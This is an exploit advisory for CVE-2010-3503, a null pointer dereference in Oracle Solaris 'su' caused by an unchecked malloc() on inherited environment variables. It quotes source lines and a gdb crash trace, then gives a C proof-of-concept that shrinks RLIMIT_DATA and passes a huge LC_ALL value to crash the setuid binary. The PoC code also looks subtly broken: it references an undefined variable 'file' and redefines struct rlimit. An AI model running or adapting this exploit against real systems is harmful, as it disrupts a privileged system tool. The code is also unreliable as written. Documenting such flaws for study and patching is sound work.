Oracle Solaris - 'su' Local Solaris

From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c



    521 		for (j = 0; initenv[j] != 0; j++) { [1]

    522 			if (initvar = getenv(initenv[j])) { [2]

    ...

    535 				} else {

    536 					var = (char *)

    537 					    malloc(strlen(initenv[j]) [3]

    538 					    + strlen(initvar)

    539 					    + 2);

    540 					(void) strcpy(var, initenv[j]); [4]

 

'su' when creating new environment from inherited environment inherits values defined

such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and

then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes

the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this

means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing

a null ptr vulnerability in 'su'. 





   Program terminated with signal 11, Segmentation fault.

   #0  0xd1244734 in ?? ()

   (gdb) x/i $pc

   0xd1244734:  mov    %eax,(%edi)

   (gdb) i r $eax

   eax            0x415f434c    1096762188 <- OUR STRING

   (gdb) i r $edi

   edi            0x0   0 <- NULL PTR



    Incurred fault #6, FLTBOUNDS  %pc = 0xD1244734

      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000

    Received signal #11, SIGSEGV [default]

      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000





----[ PoC trigger 'su' as you.

/* Sun Solaris <= 10 'su' NULL pointer exploit

   ===========================================

   because these are so 2009 now. I would exploit

   this but my name is not spender or raptor. Sun

   do not check a call to malloc() when handling

   environment variables in 'su' code. They also

   don't check passwords when using telnet so who

   cares? You have to enter your local user pass

   to see this bug. Enjoy!



   admin@sundevil:~/suid$ ./x

   [ SunOS 5.11 'su' null ptr PoC

   Password:

   Segmentation Fault



  -- prdelka

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/resource.h>

#include <sys/fcntl.h>

#include <sys/types.h>

#include <sys/mman.h>



struct {

        rlim_t    rlim_cur;     /* current (soft) limit */

        rlim_t    rlim_max;     /* hard limit */

} rlimit;



int main(int argc,char *argv[]){

        int fd;

        struct rlimit* rlp = malloc(sizeof(rlimit));

        getrlimit(RLIMIT_DATA,rlp);

        char* buf1 = malloc(300000);

        memset(buf1,'A',300000);

        long buf2 = (long)buf1 + 299999;

        memset((char*)buf2,0,1);

        memcpy(buf1,"LC_ALL=",7);

        rlp->rlim_cur = 16400;

        setrlimit(RLIMIT_DATA,rlp);

        char* env[] = {buf1,file,NULL};

        char* args[] = {"su","-",getlogin(),NULL};

        printf("[ SunOS 5.11 'su' null ptr PoC\n");

        execve("/usr/bin/su",args,env);

}





// This was disclosed and patched in October 2010, CVE-2010-3503